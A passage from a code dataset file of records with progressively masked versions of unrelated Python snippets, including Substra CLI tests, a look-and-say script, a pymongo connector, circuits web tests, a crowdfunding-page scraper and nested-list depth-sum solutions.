'3b1281cbdd6ebfec650d0a9f932a64e45a27262848065d7cecf11fd7191b4b1f',\n 'storageAddress': 'http://chunantes.substrabac:8001/algo/7742aea2001ceb40e9ce8a37fa27237d5b2d1f574e06d48677af945cfdf42ec0/description/'},\n 'key': '7742aea2001ceb40e9ce8a37fa27237d5b2d1f574e06d48677af945cfdf42ec0',\n 'name': 'Logistic regression for balanced problem',\n 'owner': '91df1c847f714ae3ac9d83ef000c583a2c5e63719bdfe23958ca47a8ffe9a82f', 'permissions': 'all',\n 'storageAddress': 'http://chunantes.substrabac:8001/algo/7742aea2001ceb40e9ce8a37fa27237d5b2d1f574e06d48677af945cfdf42ec0/file/'},\n {'objectiveKey': 'd5002e1cd50bd5de5341df8a7b7d11b6437154b3b08f531c9b8f93889855c66f',\n 'description': {'hash': 'b9463411a01ea00869bdffce6e59a5c100a4e635c0a9386266cad3c77eb28e9e',\n 'storageAddress': 'http://chunantes.substrabac:8001/algo/0acc5180e09b6a6ac250f4e3c172e2893f617aa1c22ef1f379019d20fe44142f/description/'},\n 'key': '0acc5180e09b6a6ac250f4e3c172e2893f617aa1c22ef1f379019d20fe44142f', 'name': 'Neural Network',\n 'owner': '91df1c847f714ae3ac9d83ef000c583a2c5e63719bdfe23958ca47a8ffe9a82f', 'permissions': 'all',\n 'storageAddress': 'http://chunantes.substrabac:8001/algo/0acc5180e09b6a6ac250f4e3c172e2893f617aa1c22ef1f379019d20fe44142f/file/'},\n {'objectiveKey': 'd5002e1cd50bd5de5341df8a7b7d11b6437154b3b08f531c9b8f93889855c66f',\n 'description': {'hash': '124a0425b746d7072282d167b53cb6aab3a31bf1946dae89135c15b0126ebec3',\n 'storageAddress': 'http://chunantes.substrabac:8001/algo/6dcbfcf29146acd19c6a2997b2e81d0cd4e88072eea9c90bbac33f0e8573993f/description/'},\n 'key': '6dcbfcf29146acd19c6a2997b2e81d0cd4e88072eea9c90bbac33f0e8573993f', 'name': 'Logistic regression',\n 'owner': '91df1c847f714ae3ac9d83ef000c583a2c5e63719bdfe23958ca47a8ffe9a82f', 'permissions': 'all',\n 'storageAddress': 'http://chunantes.substrabac:8001/algo/6dcbfcf29146acd19c6a2997b2e81d0cd4e88072eea9c90bbac33f0e8573993f/file/'},\n {'objectiveKey': 'd5002e1cd50bd5de5341df8a7b7d11b6437154b3b08f531c9b8f93889855c66f',\n 'description': {'hash': '4acea40c4b51996c88ef279c5c9aa41ab77b97d38c5ca167e978a98b2e402675',\n 'storageAddress': 'http://chunantes.substrabac:8001/algo/f2d9fd38e25cd975c49f3ce7e6739846585e89635a86689b5db42ab2c0c57284/description/'},\n 'key': 'f2d9fd38e25cd975c49f3ce7e6739846585e89635a86689b5db42ab2c0c57284', 'name': 'Random Forest',\n 'owner': '91df1c847f714ae3ac9d83ef000c583a2c5e63719bdfe23958ca47a8ffe9a82f', 'permissions': 'all',\n 'storageAddress': 'http://chunantes.substrabac:8001/algo/f2d9fd38e25cd975c49f3ce7e6739846585e89635a86689b5db42ab2c0c57284/file/'}]]\n\nmodel = [[{'algo': {'hash': '6dcbfcf29146acd19c6a2997b2e81d0cd4e88072eea9c90bbac33f0e8573993f',\n 'name': 'Logistic regression',\n 'storageAddress': 'http://chunantes.substrabac:8001/algo/6dcbfcf29146acd19c6a2997b2e81d0cd4e88072eea9c90bbac33f0e8573993f/file/'},\n 'objective': {'hash': 'd5002e1cd50bd5de5341df8a7b7d11b6437154b3b08f531c9b8f93889855c66f',\n 'metrics': {'hash': '750f622262854341bd44f55c1018949e9c119606ef5068bd7d137040a482a756',\n 'storageAddress': 'http://chunantes.substrabac:8001/objective/d5002e1cd50bd5de5341df8a7b7d11b6437154b3b08f531c9b8f93889855c66f/metrics/'}},\n 'creator': '91df1c847f714ae3ac9d83ef000c583a2c5e63719bdfe23958ca47a8ffe9a82f',\n 'endModel': {'hash': 'fe900588d43263c0ce1709116fe07c68d299acbbb6cfb241b0e8795bc8a1fbcb',\n 'storageAddress': 'http://chunantes.substrabac:8001/model/fe900588d43263c0ce1709116fe07c68d299acbbb6cfb241b0e8795bc8a1fbcb/file/'},\n 'key': '3e1a9e122765b2976f393322ab9d1c59fb113b35e2531900e06c9ae0f41e8afb',\n 'log': 'Train - CPU:100.23 % - Mem:0.14 GB - GPU:0.00 % - GPU Mem:0.00 GB; Test - CPU:0.00 % - Mem:0.00 GB - GPU:0.00 % - GPU Mem:0.00 GB; ',\n 'permissions': 'all', 'startModel': None, 'status': 'done',\n 'testData': {'keys': ['e11aeec290749e4c50c91305e10463eced8dbf3808971ec0c6ea0e36cb7ab3e1'],\n 'openerHash': 'b4d2deeb9a59944d608e612abc8595c49186fa24075c4eb6f5e6050e4f9affa0', 'perf': 1,\n 'worker': 'ca77d9070da2732f3dc1fcdb9397cfcf2fad2dcdde4e355dfe34658ad8b9ce55'}, 'trainData': {\n 'keys': ['62fb3263208d62c7235a046ee1d80e25512fe782254b730a9e566276b8c0ef3a',\n '42303efa663015e729159833a12ffb510ff92a6e386b8152f90f6fb14ddc94c9'],\n 'openerHash': 'ccbaa3372bc74bce39ce3b138f558b3a7558958ef2f244576e18ed75b0cea994', 'perf': 1,\n 'worker': '91df1c847f714ae3ac9d83ef000c583a2c5e63719bdfe23958ca47a8ffe9a82f'}}]]\n\ntraintuple = [{'algo': {'hash': '6dcbfcf29146acd19c6a2997b2e81d0cd4e88072eea9c90bbac33f0e8573993f',\n 'name': 'Logistic regression',\n 'storageAddress': 'http://chunantes.substrabac:8001/algo/6dcbfcf29146acd19c6a2997b2e81d0cd4e88072eea9c90bbac33f0e8573993f/file/'},\n 'objective': {'hash': 'd5002e1cd50bd5de5341df8a7b7d11b6437154b3b08f531c9b8f93889855c66f',\n 'metrics': {'hash': '750f622262854341bd44f55c1018949e9c119606ef5068bd7d137040a482a756',\n 'storageAddress': 'http://chunantes.substrabac:8001/objective/d5002e1cd50bd5de5341df8a7b7d11b6437154b3b08f531c9b8f93889855c66f/metrics/'}},\n 'creator': '91df1c847f714ae3ac9d83ef000c583a2c5e63719bdfe23958ca47a8ffe9a82f',\n 'endModel': {'hash': 'fe900588d43263c0ce1709116fe07c68d299acbbb6cfb241b0e8795bc8a1fbcb',\n 'storageAddress': 'http://chunantes.substrabac:8001/model/fe900588d43263c0ce1709116fe07c68d299acbbb6cfb241b0e8795bc8a1fbcb/file/'},\n 'key': '3e1a9e122765b2976f393322ab9d1c59fb113b35e2531900e06c9ae0f41e8afb',\n 'log': 'Train - CPU:100.23 % - Mem:0.14 GB - GPU:0.00 % - GPU Mem:0.00 GB; Test - CPU:0.00 % - Mem:0.00 GB - GPU:0.00 % - GPU Mem:0.00 GB; ',\n 'permissions': 'all', 'startModel': None, 'status': 'done',\n 'testData': {'keys': ['e11aeec290749e4c50c91305e10463eced8dbf3808971ec0c6ea0e36cb7ab3e1'],\n 'openerHash': 'b4d2deeb9a59944d608e612abc8595c49186fa24075c4eb6f5e6050e4f9affa0', 'perf': 1,\n 'worker': 'ca77d9070da2732f3dc1fcdb9397cfcf2fad2dcdde4e355dfe34658ad8b9ce55'},\n 'trainData': {'keys': ['62fb3263208d62c7235a046ee1d80e25512fe782254b730a9e566276b8c0ef3a',\n '42303efa663015e729159833a12ffb510ff92a6e386b8152f90f6fb14ddc94c9'],\n 'openerHash': 'ccbaa3372bc74bce39ce3b138f558b3a7558958ef2f244576e18ed75b0cea994',\n 'perf': 1, 'worker': '91df1c847f714ae3ac9d83ef000c583a2c5e63719bdfe23958ca47a8ffe9a82f'}}]\n\n\n# Run this test only after an e2e multi orgs\nclass TestList(TestCase):\n\n def setUp(self):\n Config({\n '<url>': 'http://owkin.substrabac:8000',\n '<version>': '0.0',\n '<user>': os.environ.get('BACK_AUTH_USER', ''),\n '<password>': os.environ.get('BACK_AUTH_PASSWORD', ''),\n '--config': '/tmp/.substra_e2e'\n }).run()\n\n def tearDown(self):\n try:\n os.remove('/tmp/.substra_e2e')\n except:\n pass\n\n def test_list_objective(self):\n output = popen(['substra', 'list', 'objective', '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]\n res = output.decode('utf-8')\n\n self.assertTrue(json.loads(res) == objective)\n\n def test_list_data_manager(self):\n output = popen(['substra', 'list', 'data_manager', '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]\n res = output.decode('utf-8')\n\n self.assertTrue(json.loads(res) == data_manager)\n\n def test_list_data(self):\n output = popen(['substra', 'list', 'data_sample', '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]\n res = output.decode('utf-8')\n\n self.assertTrue(json.loads(res) == data)\n\n def test_list_algo(self):\n output = popen(['substra', 'list', 'algo', '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]\n res = output.decode('utf-8')\n\n self.assertTrue(json.loads(res) == algo)\n\n def test_list_model(self):\n output = popen(['substra', 'list', 'model', '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]\n res = output.decode('utf-8')\n\n self.assertTrue(json.loads(res) == model)\n\n def test_list_traintuple(self):\n output = popen(['substra', 'list', 'traintuple', '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]\n res = output.decode('utf-8')\n\n self.assertTrue(json.loads(res) == traintuple)\n",
"step-ids": [
4,
6,
8,
9,
12
]
}
|
[
4,
6,
8,
9,
12
] |
a = [1, 11, 21, 1211, 111221]
for i in range(30):
#next_num_list = []
next_num = ''
next_char = ''
step = 0
count = 0
# Analyze the string.
for char in str(a[i+4]):
if step == 0:
next_char = char
count += 1
step = 1
elif step == 1:
if next_char != char:
next_num += str(count) + str(next_char)
next_char = char
count = 1
else:
count += 1
next_num += str(count) + str(next_char)
a.append(int(next_num))
print a
print len(str(a[30]))
|
normal
|
{
"blob_id": "3cb3361e8777d31575d81d2a1191f137e4174492",
"index": 8224,
"step-1": "a = [1, 11, 21, 1211, 111221]\n\nfor i in range(30):\n\n #next_num_list = []\n next_num = ''\n\n next_char = ''\n\n step = 0\n count = 0\n\n # Analyze the string.\n for char in str(a[i+4]):\n if step == 0:\n next_char = char\n count += 1\n step = 1\n\n elif step == 1:\n if next_char != char:\n next_num += str(count) + str(next_char)\n\n next_char = char\n count = 1\n\n else:\n count += 1\n\n next_num += str(count) + str(next_char)\n\n a.append(int(next_num))\n print a\n\nprint len(str(a[30]))\n",
"step-2": null,
"step-3": null,
"step-4": null,
"step-5": null,
"step-ids": [
0
]
}
|
[
0
] |
import cv2
import os
import re
class TestData:
def __init__(self, image_path= '../../data/test_images/'):
test_names = os.listdir(image_path)
self.images = []
self.numbers = []
self.treshold = .25
for name in test_names:
self.images.append(cv2.imread(image_path + name))
self.numbers.append(int(re.sub("[^0-9]", "", name)))
def get_test_data(self):
return self.images
|
normal
|
{
"blob_id": "122c4f3a2949ee675b7dd64b9f9828e80cbe5610",
"index": 1246,
"step-1": "<mask token>\n\n\nclass TestData:\n <mask token>\n <mask token>\n",
"step-2": "<mask token>\n\n\nclass TestData:\n <mask token>\n\n def get_test_data(self):\n return self.images\n",
"step-3": "<mask token>\n\n\nclass TestData:\n\n def __init__(self, image_path='../../data/test_images/'):\n test_names = os.listdir(image_path)\n self.images = []\n self.numbers = []\n self.treshold = 0.25\n for name in test_names:\n self.images.append(cv2.imread(image_path + name))\n self.numbers.append(int(re.sub('[^0-9]', '', name)))\n\n def get_test_data(self):\n return self.images\n",
"step-4": "import cv2\nimport os\nimport re\n\n\nclass TestData:\n\n def __init__(self, image_path='../../data/test_images/'):\n test_names = os.listdir(image_path)\n self.images = []\n self.numbers = []\n self.treshold = 0.25\n for name in test_names:\n self.images.append(cv2.imread(image_path + name))\n self.numbers.append(int(re.sub('[^0-9]', '', name)))\n\n def get_test_data(self):\n return self.images\n",
"step-5": "import cv2\nimport os\nimport re\n\n\nclass TestData:\n def __init__(self, image_path= '../../data/test_images/'):\n test_names = os.listdir(image_path)\n\n self.images = []\n self.numbers = []\n \n self.treshold = .25\n\n for name in test_names:\n self.images.append(cv2.imread(image_path + name))\n self.numbers.append(int(re.sub(\"[^0-9]\", \"\", name)))\n \n def get_test_data(self):\n return self.images\n",
"step-ids": [
1,
2,
3,
4,
5
]
}
|
[
1,
2,
3,
4,
5
] |
import pymongo
from FlaskScripts.database.user_database import user
from FlaskScripts.database.blog_database import blog
myclient = {}
try:
myclient = pymongo.MongoClient("mongodb://localhost:27017/")
myclient.server_info()
print('Database Connected')
except:
print('Database Error')
mydb = myclient["jmitproject"]
user = user(mydb) # use user for users interaction
blog = blog(mydb) # use blog for blogs interaction
|
normal
|
{
"blob_id": "aafdd228cf2859d7f013b088263eab544e19c481",
"index": 9995,
"step-1": "<mask token>\n",
"step-2": "<mask token>\ntry:\n myclient = pymongo.MongoClient('mongodb://localhost:27017/')\n myclient.server_info()\n print('Database Connected')\nexcept:\n print('Database Error')\n<mask token>\n",
"step-3": "<mask token>\nmyclient = {}\ntry:\n myclient = pymongo.MongoClient('mongodb://localhost:27017/')\n myclient.server_info()\n print('Database Connected')\nexcept:\n print('Database Error')\nmydb = myclient['jmitproject']\nuser = user(mydb)\nblog = blog(mydb)\n",
"step-4": "import pymongo\nfrom FlaskScripts.database.user_database import user\nfrom FlaskScripts.database.blog_database import blog\nmyclient = {}\ntry:\n myclient = pymongo.MongoClient('mongodb://localhost:27017/')\n myclient.server_info()\n print('Database Connected')\nexcept:\n print('Database Error')\nmydb = myclient['jmitproject']\nuser = user(mydb)\nblog = blog(mydb)\n",
"step-5": "import pymongo\nfrom FlaskScripts.database.user_database import user\nfrom FlaskScripts.database.blog_database import blog\nmyclient = {}\ntry:\n myclient = pymongo.MongoClient(\"mongodb://localhost:27017/\")\n myclient.server_info()\n print('Database Connected')\nexcept:\n print('Database Error')\n\nmydb = myclient[\"jmitproject\"]\n\nuser = user(mydb) # use user for users interaction\nblog = blog(mydb) # use blog for blogs interaction\n",
"step-ids": [
0,
1,
2,
3,
4
]
}
|
[
0,
1,
2,
3,
4
] |
#!/usr/bin/env python
from http.client import HTTPConnection
import pytest
from circuits.web import Controller
from circuits.web.client import Client, request
from .helpers import urlopen
class Root(Controller):
def index(self):
return "Hello World!"
def request_body(self):
return self.request.body.read()
def response_body(self):
return "ä"
def request_headers(self):
return self.request.headers["A"]
def response_headers(self):
self.response.headers["A"] = "ä"
return "ä"
def argument(self, arg):
return arg
def test_index(webapp):
f = urlopen(webapp.server.http.base)
s = f.read()
assert s == b"Hello World!"
@pytest.mark.parametrize('body', [
"ä".encode(),
"ä".encode('iso8859-1'),
])
def test_request_body(webapp, body):
connection = HTTPConnection(webapp.server.host, webapp.server.port)
connection.connect()
connection.request("POST", "/request_body", body)
response = connection.getresponse()
assert response.status == 200
assert response.reason == "OK"
s = response.read()
assert s == body
connection.close()
def test_response_body(webapp):
connection = HTTPConnection(webapp.server.host, webapp.server.port)
connection.connect()
connection.request("GET", "/response_body")
response = connection.getresponse()
assert response.status == 200
assert response.reason == "OK"
s = response.read()
assert s == "ä".encode()
connection.close()
def test_request_headers(webapp):
connection = HTTPConnection(webapp.server.host, webapp.server.port)
connection.connect()
body = b""
headers = {"A": "ä"}
connection.request("GET", "/request_headers", body, headers)
response = connection.getresponse()
assert response.status == 200
assert response.reason == "OK"
s = response.read()
assert s == "ä".encode()
connection.close()
def test_response_headers(webapp):
client = Client()
client.start()
client.fire(
request(
"GET",
"http://%s:%s/response_headers" % (
webapp.server.host, webapp.server.port,
),
),
)
while client.response is None:
pass
assert client.response.status == 200
assert client.response.reason == 'OK'
s = client.response.read()
a = client.response.headers.get('A')
assert a == "ä"
assert s == "ä".encode()
def test_argument(webapp):
connection = HTTPConnection(webapp.server.host, webapp.server.port)
connection.connect()
data = 'arg=%E2%86%92'
connection.request("POST", "/argument", data, {"Content-type": "application/x-www-form-urlencoded"})
response = connection.getresponse()
assert response.status == 200
assert response.reason == "OK"
s = response.read()
assert s.decode('utf-8') == '\u2192'
connection.close()
|
normal
|
{
"blob_id": "eb891341488e125ae8c043788d7264fff4018614",
"index": 6585,
"step-1": "<mask token>\n\n\nclass Root(Controller):\n\n def index(self):\n return 'Hello World!'\n\n def request_body(self):\n return self.request.body.read()\n\n def response_body(self):\n return 'ä'\n\n def request_headers(self):\n return self.request.headers['A']\n\n def response_headers(self):\n self.response.headers['A'] = 'ä'\n return 'ä'\n\n def argument(self, arg):\n return arg\n\n\ndef test_index(webapp):\n f = urlopen(webapp.server.http.base)\n s = f.read()\n assert s == b'Hello World!'\n\n\n<mask token>\n",
"step-2": "<mask token>\n\n\nclass Root(Controller):\n\n def index(self):\n return 'Hello World!'\n\n def request_body(self):\n return self.request.body.read()\n\n def response_body(self):\n return 'ä'\n\n def request_headers(self):\n return self.request.headers['A']\n\n def response_headers(self):\n self.response.headers['A'] = 'ä'\n return 'ä'\n\n def argument(self, arg):\n return arg\n\n\ndef test_index(webapp):\n f = urlopen(webapp.server.http.base)\n s = f.read()\n assert s == b'Hello World!'\n\n\n<mask token>\n\n\ndef test_request_headers(webapp):\n connection = HTTPConnection(webapp.server.host, webapp.server.port)\n connection.connect()\n body = b''\n headers = {'A': 'ä'}\n connection.request('GET', '/request_headers', body, headers)\n response = connection.getresponse()\n assert response.status == 200\n assert response.reason == 'OK'\n s = response.read()\n assert s == 'ä'.encode()\n connection.close()\n\n\n<mask token>\n",
"step-3": "<mask token>\n\n\nclass Root(Controller):\n\n def index(self):\n return 'Hello World!'\n\n def request_body(self):\n return self.request.body.read()\n\n def response_body(self):\n return 'ä'\n\n def request_headers(self):\n return self.request.headers['A']\n\n def response_headers(self):\n self.response.headers['A'] = 'ä'\n return 'ä'\n\n def argument(self, arg):\n return arg\n\n\ndef test_index(webapp):\n f = urlopen(webapp.server.http.base)\n s = f.read()\n assert s == b'Hello World!'\n\n\[email protected]('body', ['ä'.encode(), 'ä'.encode('iso8859-1')])\ndef test_request_body(webapp, body):\n connection = HTTPConnection(webapp.server.host, webapp.server.port)\n connection.connect()\n connection.request('POST', '/request_body', body)\n response = connection.getresponse()\n assert response.status == 200\n assert response.reason == 'OK'\n s = response.read()\n assert s == body\n connection.close()\n\n\n<mask token>\n\n\ndef test_request_headers(webapp):\n connection = HTTPConnection(webapp.server.host, webapp.server.port)\n connection.connect()\n body = b''\n headers = {'A': 'ä'}\n connection.request('GET', '/request_headers', body, headers)\n response = connection.getresponse()\n assert response.status == 200\n assert response.reason == 'OK'\n s = response.read()\n assert s == 'ä'.encode()\n connection.close()\n\n\n<mask token>\n\n\ndef test_argument(webapp):\n connection = HTTPConnection(webapp.server.host, webapp.server.port)\n connection.connect()\n data = 'arg=%E2%86%92'\n connection.request('POST', '/argument', data, {'Content-type':\n 'application/x-www-form-urlencoded'})\n response = connection.getresponse()\n assert response.status == 200\n assert response.reason == 'OK'\n s = response.read()\n assert s.decode('utf-8') == '→'\n connection.close()\n",
"step-4": "<mask token>\n\n\nclass Root(Controller):\n\n def index(self):\n return 'Hello World!'\n\n def request_body(self):\n return self.request.body.read()\n\n def response_body(self):\n return 'ä'\n\n def request_headers(self):\n return self.request.headers['A']\n\n def response_headers(self):\n self.response.headers['A'] = 'ä'\n return 'ä'\n\n def argument(self, arg):\n return arg\n\n\ndef test_index(webapp):\n f = urlopen(webapp.server.http.base)\n s = f.read()\n assert s == b'Hello World!'\n\n\[email protected]('body', ['ä'.encode(), 'ä'.encode('iso8859-1')])\ndef test_request_body(webapp, body):\n connection = HTTPConnection(webapp.server.host, webapp.server.port)\n connection.connect()\n connection.request('POST', '/request_body', body)\n response = connection.getresponse()\n assert response.status == 200\n assert response.reason == 'OK'\n s = response.read()\n assert s == body\n connection.close()\n\n\ndef test_response_body(webapp):\n connection = HTTPConnection(webapp.server.host, webapp.server.port)\n connection.connect()\n connection.request('GET', '/response_body')\n response = connection.getresponse()\n assert response.status == 200\n assert response.reason == 'OK'\n s = response.read()\n assert s == 'ä'.encode()\n connection.close()\n\n\ndef test_request_headers(webapp):\n connection = HTTPConnection(webapp.server.host, webapp.server.port)\n connection.connect()\n body = b''\n headers = {'A': 'ä'}\n connection.request('GET', '/request_headers', body, headers)\n response = connection.getresponse()\n assert response.status == 200\n assert response.reason == 'OK'\n s = response.read()\n assert s == 'ä'.encode()\n connection.close()\n\n\n<mask token>\n\n\ndef test_argument(webapp):\n connection = HTTPConnection(webapp.server.host, webapp.server.port)\n connection.connect()\n data = 'arg=%E2%86%92'\n connection.request('POST', '/argument', data, {'Content-type':\n 'application/x-www-form-urlencoded'})\n response = connection.getresponse()\n assert response.status == 200\n assert response.reason == 'OK'\n s = response.read()\n assert s.decode('utf-8') == '→'\n connection.close()\n",
"step-5": "#!/usr/bin/env python\n\nfrom http.client import HTTPConnection\n\nimport pytest\n\nfrom circuits.web import Controller\nfrom circuits.web.client import Client, request\n\nfrom .helpers import urlopen\n\n\nclass Root(Controller):\n\n def index(self):\n return \"Hello World!\"\n\n def request_body(self):\n return self.request.body.read()\n\n def response_body(self):\n return \"ä\"\n\n def request_headers(self):\n return self.request.headers[\"A\"]\n\n def response_headers(self):\n self.response.headers[\"A\"] = \"ä\"\n return \"ä\"\n\n def argument(self, arg):\n return arg\n\n\ndef test_index(webapp):\n f = urlopen(webapp.server.http.base)\n s = f.read()\n assert s == b\"Hello World!\"\n\n\[email protected]('body', [\n \"ä\".encode(),\n \"ä\".encode('iso8859-1'),\n])\ndef test_request_body(webapp, body):\n connection = HTTPConnection(webapp.server.host, webapp.server.port)\n connection.connect()\n\n connection.request(\"POST\", \"/request_body\", body)\n response = connection.getresponse()\n assert response.status == 200\n assert response.reason == \"OK\"\n s = response.read()\n assert s == body\n\n connection.close()\n\n\ndef test_response_body(webapp):\n connection = HTTPConnection(webapp.server.host, webapp.server.port)\n connection.connect()\n\n connection.request(\"GET\", \"/response_body\")\n response = connection.getresponse()\n assert response.status == 200\n assert response.reason == \"OK\"\n s = response.read()\n assert s == \"ä\".encode()\n\n connection.close()\n\n\ndef test_request_headers(webapp):\n connection = HTTPConnection(webapp.server.host, webapp.server.port)\n connection.connect()\n\n body = b\"\"\n headers = {\"A\": \"ä\"}\n connection.request(\"GET\", \"/request_headers\", body, headers)\n response = connection.getresponse()\n assert response.status == 200\n assert response.reason == \"OK\"\n s = response.read()\n assert s == \"ä\".encode()\n\n connection.close()\n\n\ndef test_response_headers(webapp):\n client = Client()\n client.start()\n client.fire(\n request(\n \"GET\",\n \"http://%s:%s/response_headers\" % (\n webapp.server.host, webapp.server.port,\n ),\n ),\n )\n\n while client.response is None:\n pass\n assert client.response.status == 200\n assert client.response.reason == 'OK'\n s = client.response.read()\n a = client.response.headers.get('A')\n assert a == \"ä\"\n assert s == \"ä\".encode()\n\n\ndef test_argument(webapp):\n connection = HTTPConnection(webapp.server.host, webapp.server.port)\n connection.connect()\n\n data = 'arg=%E2%86%92'\n connection.request(\"POST\", \"/argument\", data, {\"Content-type\": \"application/x-www-form-urlencoded\"})\n response = connection.getresponse()\n assert response.status == 200\n assert response.reason == \"OK\"\n s = response.read()\n assert s.decode('utf-8') == '\\u2192'\n\n connection.close()\n",
"step-ids": [
8,
9,
11,
12,
15
]
}
|
[
8,
9,
11,
12,
15
] |
import csv
import datetime
import json
import re
import requests
import os
r = requests.get("https://www.hithit.com/cs/project/4067/volebni-kalkulacka-on-steroids")
path = os.path.dirname(os.path.realpath(__file__)) + "/"
if r.status_code == 200:
text = r.text
pattern = 'Přispěvatel'
m = re.search(pattern, text)
pattern2 = '<strong>([0-9]{1,})'
m2 = re.search(pattern2, text[m.start():])
pattern3 = 'currency " >([0-9]{1,})'
m3 = re.search(pattern3, text.replace(' ', ''))
with open(path + "data.json", "w") as fdata:
json.dump({
"date": datetime.datetime.now().isoformat(),
"amount": m3.group(1),
"supporters": m2.group(1)
}, fdata)
|
normal
|
{
"blob_id": "f3329962004a4454c04327da56d8dd1d0f1d45e7",
"index": 763,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nif r.status_code == 200:\n text = r.text\n pattern = 'Přispěvatel'\n m = re.search(pattern, text)\n pattern2 = '<strong>([0-9]{1,})'\n m2 = re.search(pattern2, text[m.start():])\n pattern3 = 'currency \" >([0-9]{1,})'\n m3 = re.search(pattern3, text.replace(' ', ''))\n with open(path + 'data.json', 'w') as fdata:\n json.dump({'date': datetime.datetime.now().isoformat(), 'amount':\n m3.group(1), 'supporters': m2.group(1)}, fdata)\n",
"step-3": "<mask token>\nr = requests.get(\n 'https://www.hithit.com/cs/project/4067/volebni-kalkulacka-on-steroids')\npath = os.path.dirname(os.path.realpath(__file__)) + '/'\nif r.status_code == 200:\n text = r.text\n pattern = 'Přispěvatel'\n m = re.search(pattern, text)\n pattern2 = '<strong>([0-9]{1,})'\n m2 = re.search(pattern2, text[m.start():])\n pattern3 = 'currency \" >([0-9]{1,})'\n m3 = re.search(pattern3, text.replace(' ', ''))\n with open(path + 'data.json', 'w') as fdata:\n json.dump({'date': datetime.datetime.now().isoformat(), 'amount':\n m3.group(1), 'supporters': m2.group(1)}, fdata)\n",
"step-4": "import csv\nimport datetime\nimport json\nimport re\nimport requests\nimport os\nr = requests.get(\n 'https://www.hithit.com/cs/project/4067/volebni-kalkulacka-on-steroids')\npath = os.path.dirname(os.path.realpath(__file__)) + '/'\nif r.status_code == 200:\n text = r.text\n pattern = 'Přispěvatel'\n m = re.search(pattern, text)\n pattern2 = '<strong>([0-9]{1,})'\n m2 = re.search(pattern2, text[m.start():])\n pattern3 = 'currency \" >([0-9]{1,})'\n m3 = re.search(pattern3, text.replace(' ', ''))\n with open(path + 'data.json', 'w') as fdata:\n json.dump({'date': datetime.datetime.now().isoformat(), 'amount':\n m3.group(1), 'supporters': m2.group(1)}, fdata)\n",
"step-5": "import csv\nimport datetime\nimport json\nimport re\nimport requests\nimport os\n\nr = requests.get(\"https://www.hithit.com/cs/project/4067/volebni-kalkulacka-on-steroids\")\n\npath = os.path.dirname(os.path.realpath(__file__)) + \"/\"\n\nif r.status_code == 200:\n text = r.text\n pattern = 'Přispěvatel'\n m = re.search(pattern, text)\n pattern2 = '<strong>([0-9]{1,})'\n m2 = re.search(pattern2, text[m.start():])\n pattern3 = 'currency \" >([0-9]{1,})'\n m3 = re.search(pattern3, text.replace(' ', ''))\n with open(path + \"data.json\", \"w\") as fdata:\n json.dump({\n \"date\": datetime.datetime.now().isoformat(),\n \"amount\": m3.group(1),\n \"supporters\": m2.group(1)\n }, fdata)\n",
"step-ids": [
0,
1,
2,
3,
4
]
}
|
[
0,
1,
2,
3,
4
] |
<|reserved_special_token_0|>
class Solution(object):
def depthSum(self, nestedList):
if len(nestedList) == 0:
return 0
from queue import Queue
q = Queue()
sum = 0
depth = 1
for item in nestedList:
q.put(item)
while not q.empty():
for _ in range(q.qsize()):
item = q.get()
if item.isInteger():
sum += item.getInteger() * depth
else:
for next in item.getList():
q.put(next)
depth += 1
return sum
<|reserved_special_token_1|>
<|reserved_special_token_0|>
class Solution(object):
<|reserved_special_token_0|>
<|reserved_special_token_0|>
class Solution(object):
def depthSum(self, nestedList):
if len(nestedList) == 0:
return 0
from queue import Queue
q = Queue()
sum = 0
depth = 1
for item in nestedList:
q.put(item)
while not q.empty():
for _ in range(q.qsize()):
item = q.get()
if item.isInteger():
sum += item.getInteger() * depth
else:
for next in item.getList():
q.put(next)
depth += 1
return sum
<|reserved_special_token_1|>
<|reserved_special_token_0|>
class Solution(object):
def depthSum(self, nestedList):
return self.dfs(nestedList, 1)
<|reserved_special_token_0|>
class Solution(object):
def depthSum(self, nestedList):
if len(nestedList) == 0:
return 0
from queue import Queue
q = Queue()
sum = 0
depth = 1
for item in nestedList:
q.put(item)
while not q.empty():
for _ in range(q.qsize()):
item = q.get()
if item.isInteger():
sum += item.getInteger() * depth
else:
for next in item.getList():
q.put(next)
depth += 1
return sum
<|reserved_special_token_1|>
<|reserved_special_token_0|>
class Solution(object):
def depthSum(self, nestedList):
return self.dfs(nestedList, 1)
def dfs(self, nestedList, depth):
sum = 0
for item in nestedList:
if item.isInteger():
sum += item.getInteger() * depth
else:
sum += self.dfs(item.getList(), depth + 1)
return sum
class Solution(object):
def depthSum(self, nestedList):
if len(nestedList) == 0:
return 0
from queue import Queue
q = Queue()
sum = 0
depth = 1
for item in nestedList:
q.put(item)
while not q.empty():
for _ in range(q.qsize()):
item = q.get()
if item.isInteger():
sum += item.getInteger() * depth
else:
for next in item.getList():
q.put(next)
depth += 1
return sum
<|reserved_special_token_1|>
"""
This is the interface that allows for creating nested lists.
You should not implement it, or speculate about its implementation
class NestedInteger(object):
def isInteger(self):
# @return {boolean} True if this NestedInteger holds a single integer,
# rather than a nested list.
def getInteger(self):
# @return {int} the single integer that this NestedInteger holds,
# if it holds a single integer
# Return None if this NestedInteger holds a nested list
def getList(self):
# @return {NestedInteger[]} the nested list that this NestedInteger holds,
# if it holds a nested list
# Return None if this NestedInteger holds a single integer
"""
# Version 1: DFS Recursive
class Solution(object):
# @param {NestedInteger[]} nestedList a list of NestedInteger Object
# @return {int} an integer
def depthSum(self, nestedList):
return self.dfs(nestedList, 1)
def dfs(self, nestedList, depth):
sum = 0
for item in nestedList:
if item.isInteger():
sum += item.getInteger() * depth
else:
sum += self.dfs(item.getList(), depth + 1)
return sum
# Version 2: BFS, Non-Recursive
class Solution(object):
# @param {NestedInteger[]} nestedList a list of NestedInteger Object
# @return {int} an integer
def depthSum(self, nestedList):
if len(nestedList) == 0:
return 0
from queue import Queue
q = Queue()
sum = 0
depth = 1
for item in nestedList:
q.put(item)
while not q.empty():
for _ in range(q.qsize()):
item = q.get()
if item.isInteger():
sum += item.getInteger() * depth
else:
for next in item.getList():
q.put(next)
depth += 1
return sum
|
flexible
|
{
"blob_id": "bb81027ed5311e625591d98193997e5c7b533b70",
"index": 4945,
